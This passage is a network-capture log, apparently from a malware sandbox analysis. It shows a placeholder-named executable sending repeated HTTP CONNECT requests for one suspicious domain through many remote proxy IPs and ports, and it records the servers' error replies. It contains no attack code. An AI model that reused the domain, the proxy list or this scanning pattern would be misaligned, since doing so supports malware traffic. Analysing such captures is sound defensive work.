Mar 11, 2024 15:21:04.031863928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.9	51888	104.25.87.42	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.877721071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.032300949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.9	51579	114.132.202.125	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.878001928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.484103918 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.9	51601	8.217.95.44	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.878436089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.9	51617	46.35.9.110	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.878906012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.9	51600	58.234.116.197	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.879369020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.9	51732	98.178.72.21	10919	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.879839897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.9	51735	98.162.25.4	31654	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.880640030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.9	51914	203.24.102.86	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.880785942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.034733057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.9	51737	174.64.199.79	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.880841970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.9	51607	211.222.252.187	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.880841970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.9	51526	106.105.218.244	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.881917953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.9	51945	104.25.244.70	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.883915901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.038351059 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.9	51527	102.132.201.202	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.884581089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.330444098 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.9	51957	104.16.107.142	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.886341095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.041006088 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.9	51962	104.18.251.208	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.887269974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.041291952 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.9	51709	82.64.77.30	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.888194084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.736462116 CET	555	IN	HTTP/1.1 403 Proxy Error Date: Mon, 11 Mar 2024 14:21:04 GMT Server: Apache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 43 6f 6e 6e 65 63 74 20 74 6f 20 72 65 6d 6f 74 65 20 6d 61 63 68 69 6e 65 20 62 6c 6f 63 6b 65 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Proxy Error</title></head><body><h1>Proxy Error</h1><p>You don't have permission to access this resource.The proxy server could not handle the request<p>Reason: <strong>Connect to remote machine blocked</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.9	51977	172.67.127.188	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.890175104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.044210911 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.9	51966	154.208.10.126	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.891388893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.659023046 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.9	51982	172.67.255.224	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.894608974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.048825979 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.9	51986	104.18.220.95	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.895109892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.049431086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.9	51984	104.16.109.207	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.895133972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.049561024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.9	51744	51.15.223.24	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.895836115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.543807983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.637864113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.434887886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
